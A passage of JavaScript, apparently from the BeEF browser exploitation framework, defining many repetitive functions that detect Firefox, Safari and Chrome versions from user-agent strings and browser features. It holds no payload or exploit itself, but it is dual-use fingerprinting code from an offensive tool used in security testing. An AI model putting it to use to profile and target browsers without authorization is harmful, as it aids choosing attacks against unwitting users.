3222 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
3223 },
3224
3225 /**
3226 * Returns true if FF45
3227 * @example: beef.browser.isFF45()
3228 */
3229 isFF45: function () {
3230 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
3231 },
3232
3233 /**
3234 * Returns true if FF46
3235 * @example: beef.browser.isFF46()
3236 */
3237 isFF46: function () {
3238 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
3239 },
3240
3241 /**
3242 * Returns true if FF47
3243 * @example: beef.browser.isFF47()
3244 */
3245 isFF47: function () {
3246 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
3247 },
3248
3249 /**
3250 * Returns true if FF48
3251 * @example: beef.browser.isFF48()
3252 */
3253 isFF48: function () {
3254 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
3255 },
3256
3257 /**
3258 * Returns true if FF49
3259 * @example: beef.browser.isFF49()
3260 */
3261 isFF49: function () {
3262 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
3263 },
3264
3265 /**
3266 * Returns true if FF50
3267 * @example: beef.browser.isFF50()
3268 */
3269 isFF50: function () {
3270 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
3271 },
3272
3273 /**
3274 * Returns true if FF51
3275 * @example: beef.browser.isFF51()
3276 */
3277 isFF51: function () {
3278 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
3279 },
3280
3281 /**
3282 * Returns true if FF52
3283 * @example: beef.browser.isFF52()
3284 */
3285 isFF52: function () {
3286 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
3287 },
3288
3289 /**
3290 * Returns true if FF53
3291 * @example: beef.browser.isFF53()
3292 */
3293 isFF53: function () {
3294 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
3295 },
3296
3297
3298 /**
3299 * Returns true if FF.
3300 * @example: beef.browser.isFF()
3301 */
3302 isFF: function () {
3303 return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53();
3304 },
3305
3306 /**
3307 * Returns true if Safari 4.xx
3308 * @example: beef.browser.isS4()
3309 */
3310 isS4: function () {
3311 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
3312 },
3313
3314 /**
3315 * Returns true if Safari 5.xx
3316 * @example: beef.browser.isS5()
3317 */
3318 isS5: function () {
3319 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
3320 },
3321
3322 /**
3323 * Returns true if Safari 6.xx
3324 * @example: beef.browser.isS6()
3325 */
3326 isS6: function () {
3327 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
3328 },
3329
3330 /**
3331 * Returns true if Safari 7.xx
3332 * @example: beef.browser.isS7()
3333 */
3334 isS7: function () {
3335 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
3336 },
3337
3338 /**
3339 * Returns true if Safari 8.xx
3340 * @example: beef.browser.isS8()
3341 */
3342 isS8: function () {
3343 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
3344 },
3345
3346 /**
3347 * Returns true if Safari.
3348 * @example: beef.browser.isS()
3349 */
3350 isS: function () {
3351 return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
3352 },
3353
3354 /**
3355 * Returns true if Chrome 5.
3356 * @example: beef.browser.isC5()
3357 */
3358 isC5: function () {
3359 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
3360 },
3361
3362 /**
3363 * Returns true if Chrome 6.
3364 * @example: beef.browser.isC6()
3365 */
3366 isC6: function () {
3367 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
3368 },
3369
3370 /**
3371 * Returns true if Chrome 7.
3372 * @example: beef.browser.isC7()
3373 */
3374 isC7: function () {
3375 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
3376 },
3377
3378 /**
3379 * Returns true if Chrome 8.
3380 * @example: beef.browser.isC8()
3381 */
3382 isC8: function () {
3383 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
3384 },
3385
3386 /**
3387 * Returns true if Chrome 9.
3388 * @example: beef.browser.isC9()
3389 */
3390 isC9: function () {
3391 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
3392 },
3393
3394 /**
3395 * Returns true if Chrome 10.
3396 * @example: beef.browser.isC10()
3397 */
3398 isC10: function () {
3399 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
3400 },
3401
3402 /**
3403 * Returns true if Chrome 11.
3404 * @example: beef.browser.isC11()
3405 */
3406 isC11: function () {
3407 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
3408 },
3409
3410 /**
3411 * Returns true if Chrome 12.
3412 * @example: beef.browser.isC12()
3413 */
3414 isC12: function () {
3415 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
3416 },
3417
3418 /**
3419 * Returns true if Chrome 13.
3420 * @example: beef.browser.isC13()
3421 */
3422 isC13: function () {
3423 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
3424 },
3425
3426 /**
3427 * Returns true if Chrome 14.
3428 * @example: beef.browser.isC14()
3429 */
3430 isC14: function () {
3431 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
3432 },
3433
3434 /**
3435 * Returns true if Chrome 15.
3436 * @example: beef.browser.isC15()
3437 */
3438 isC15: function () {
3439 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
3440 },
3441
3442 /**
3443 * Returns true if Chrome 16.
3444 * @example: beef.browser.isC16()
3445 */
3446 isC16: function () {
3447 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
3448 },
3449
3450 /**
3451 * Returns true if Chrome 17.
3452 * @example: beef.browser.isC17()
3453 */
3454 isC17: function () {
3455 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
3456 },
3457
3458 /**
3459 * Returns true if Chrome 18.
3460 * @example: beef.browser.isC18()
3461 */
3462 isC18: function () {
3463 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
3464 },
3465
3466 /**
3467 * Returns true if Chrome 19.
3468 * @example: beef.browser.isC19()
3469 */
3470 isC19: function () {
3471 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
3472 },
3473
3474 /**
3475 * Returns true if Chrome for iOS 19.
3476 * @example: beef.browser.isC19iOS()
3477 */
3478 isC19iOS: function () {
3479 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
3480 },
3481
3482 /**
3483 * Returns true if Chrome 20.
3484 * @example: beef.browser.isC20()
3485 */
3486 isC20: function () {
3487 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
3488 },
3489
3490 /**
3491 * Returns true if Chrome for iOS 20.
3492 * @example: beef.browser.isC20iOS()
3493 */
3494 isC20iOS: function () {
3495 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
3496 },
3497
3498 /**
3499 * Returns true if Chrome 21.
3500 * @example: beef.browser.isC21()
3501 */
3502 isC21: function () {
3503 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
3504 },
3505
3506 /**
3507 * Returns true if Chrome for iOS 21.
3508 * @example: beef.browser.isC21iOS()
3509 */
3510 isC21iOS: function () {
3511 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
3512 },
3513
3514 /**
3515 * Returns true if Chrome 22.
3516 * @example: beef.browser.isC22()
3517 */
3518 isC22: function () {
3519 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
3520 },
3521
3522 /**
3523 * Returns true if Chrome for iOS 22.
3524 * @example: beef.browser.isC22iOS()
3525 */
3526 isC22iOS: function () {
3527 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
3528 },
3529
3530 /**
3531 * Returns true if Chrome 23.
3532 * @example: beef.browser.isC23()
3533 */
3534 isC23: function () {
3535 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
3536 },
3537
3538 /**
3539 * Returns true if Chrome for iOS 23.
3540 * @example: beef.browser.isC23iOS()
3541 */
3542 isC23iOS: function () {
3543 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
3544 },
3545
3546 /**
3547 * Returns true if Chrome 24.
3548 * @example: beef.browser.isC24()
3549 */
3550 isC24: function () {
3551 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
3552 },
3553
3554 /**
3555 * Returns true if Chrome for iOS 24.
3556 * @example: beef.browser.isC24iOS()
3557 */
3558 isC24iOS: function () {
3559 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
3560 },
3561
3562 /**
3563 * Returns true if Chrome 25.
3564 * @example: beef.browser.isC25()
3565 */
3566 isC25: function () {
3567 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
3568 },
3569
3570 /**
3571 * Returns true if Chrome for iOS 25.
3572 * @example: beef.browser.isC25iOS()
3573 */
3574 isC25iOS: function () {
3575 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
3576 },
3577
3578 /**
3579 * Returns true if Chrome 26.
3580 * @example: beef.browser.isC26()
3581 */
3582 isC26: function () {
3583 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
3584 },
3585
3586 /**
3587 * Returns true if Chrome for iOS 26.
3588 * @example: beef.browser.isC26iOS()
3589 */
3590 isC26iOS: function () {
3591 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
3592 },
3593
3594 /**
3595 * Returns true if Chrome 27.
3596 * @example: beef.browser.isC27()
3597 */
3598 isC27: function () {
3599 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
3600 },
3601
3602 /**
3603 * Returns true if Chrome for iOS 27.
3604 * @example: beef.browser.isC27iOS()
3605 */
3606 isC27iOS: function () {
3607 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
3608 },
3609
3610 /**
3611 * Returns true if Chrome 28.
3612 * @example: beef.browser.isC28()
3613 */
3614 isC28: function () {
3615 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
3616 },
3617
3618 /**
3619 * Returns true if Chrome for iOS 28.
3620 * @example: beef.browser.isC28iOS()
3621 */
3622 isC28iOS: function () {
3623 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
3624 },
3625
3626 /**
3627 * Returns true if Chrome 29.
3628 * @example: beef.browser.isC29()
3629 */
3630 isC29: function () {
3631 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
3632 },
3633
3634 /**
3635 * Returns true if Chrome for iOS 29.
3636 * @example: beef.browser.isC29iOS()
3637 */
3638 isC29iOS: function () {
3639 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
3640 },
3641
3642 /**
3643 * Returns true if Chrome 30.
3644 * @example: beef.browser.isC30()
3645 */
3646 isC30: function () {
3647 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
3648 },
3649
3650 /**
3651 * Returns true if Chrome for iOS 30.
3652 * @example: beef.browser.isC30iOS()
3653 */
3654 isC30iOS: function () {
3655 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
3656 },
3657
3658 /**
3659 * Returns true if Chrome 31.
3660 * @example: beef.browser.isC31()
3661 */
3662 isC31: function () {
3663 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
3664 },
3665
3666 /**
3667 * Returns true if Chrome for iOS 31.
3668 * @example: beef.browser.isC31iOS()
3669 */
3670 isC31iOS: function () {
3671 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
3672 },
3673
3674 /**
3675 * Returns true if Chrome 32.
3676 * @example: beef.browser.isC32()
3677 */
3678 isC32: function () {
3679 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
3680 },
3681
3682 /**
3683 * Returns true if Chrome for iOS 32.
3684 * @example: beef.browser.isC32iOS()
3685 */
3686 isC32iOS: function () {
3687 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
3688 },
3689
3690 /**
3691 * Returns true if Chrome 33.
3692 * @example: beef.browser.isC33()
3693 */
3694 isC33: function () {
3695 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
3696 },
3697
3698 /**
3699 * Returns true if Chrome for iOS 33.
3700 * @example: beef.browser.isC33iOS()
3701 */
3702 isC33iOS: function () {
3703 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
3704 },
3705
3706 /**
3707 * Returns true if Chrome 34.
3708 * @example: beef.browser.isC34()
3709 */
3710 isC34: function () {
3711 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
3712 },
3713
3714 /**
3715 * Returns true if Chrome for iOS 34.
3716 * @example: beef.browser.isC34iOS()
3717 */
3718 isC34iOS: function () {
3719 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
3720 },
3721
3722 /**
3723 * Returns true if Chrome 35.
3724 * @example: beef.browser.isC35()
3725 */
3726 isC35: function () {
3727 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
3728 },
3729
3730 /**
3731 * Returns true if Chrome for iOS 35.
3732 * @example: beef.browser.isC35iOS()
3733 */
3734 isC35iOS: function () {
3735 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
3736 },
3737
3738 /**
3739 * Returns true if Chrome 36.
3740 * @example: beef.browser.isC36()
3741 */
3742 isC36: function () {
3743 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
3744 },
3745
3746 /**
3747 * Returns true if Chrome for iOS 36.
3748 * @example: beef.browser.isC36iOS()
3749 */
3750 isC36iOS: function () {
3751 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
3752 },
3753
3754 /**
3755 * Returns true if Chrome 37.
3756 * @example: beef.browser.isC37()
3757 */
3758 isC37: function () {
3759 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
3760 },
3761
3762 /**
3763 * Returns true if Chrome for iOS 37.
3764 * @example: beef.browser.isC37iOS()
3765 */
3766 isC37iOS: function () {
3767 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
3768 },
3769
3770 /**
3771 * Returns true if Chrome 38.
3772 * @example: beef.browser.isC38()
3773 */
3774 isC38: function () {
3775 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
3776 },
3777
3778 /**
3779 * Returns true if Chrome for iOS 38.
3780 * @example: beef.browser.isC38iOS()
3781 */
3782 isC38iOS: function () {
3783 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
3784 },
3785
3786 /**
3787 * Returns true if Chrome 39.
3788 * @example: beef.browser.isC39()
3789 */
3790 isC39: function () {
3791 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
3792 },
3793
3794 /**
3795 * Returns true if Chrome for iOS 39.
3796 * @example: beef.browser.isC39iOS()
3797 */
3798 isC39iOS: function () {
3799 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
3800 },
3801
3802 /**
3803 * Returns true if Chrome 40.
3804 * @example: beef.browser.isC40()
3805 */
3806 isC40: function () {
3807 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
3808 },
3809
3810 /**
3811 * Returns true if Chrome for iOS 40.
3812 * @example: beef.browser.isC40iOS()
3813 */
3814 isC40iOS: function () {
3815 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
3816 },
3817
3818 /**
3819 * Returns true if Chrome 41.
3820 * @example: beef.browser.isC41()
3821 */
3822 isC41: function () {
3823 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
3824 },
3825
3826 /**
3827 * Returns true if Chrome for iOS 41.
3828 * @example: beef.browser.isC41iOS()
3829 */
3830 isC41iOS: function () {
3831 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
3832 },
3833
3834 /**
3835 * Returns true if Chrome 42.
3836 * @example: beef.browser.isC42()
3837 */
3838 isC42: function () {
3839 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
3840 },
3841
3842 /**
3843 * Returns true if Chrome for iOS 42.
3844 * @example: beef.browser.isC42iOS()
3845 */
3846 isC42iOS: function () {
3847 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
3848 },
3849
3850 /**
3851 * Returns true if Chrome 43.
3852 * @example: beef.browser.isC43()
3853 */
3854 isC43: function () {
3855 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
3856 },
3857
3858 /**
3859 * Returns true if Chrome for iOS 43.
3860 * @example: beef.browser.isC43iOS()
3861 */
3862 isC43iOS: function () {
3863 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
3864 },
3865
3866 /**
3867 * Returns true if Chrome 44.
3868 * @example: beef.browser.isC44()
3869 */
3870 isC44: function () {
3871 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
3872 },
3873
3874 /**
3875 * Returns true if Chrome for iOS 44.
3876 * @example: beef.browser.isC44iOS()
3877 */
3878 isC44iOS: function () {
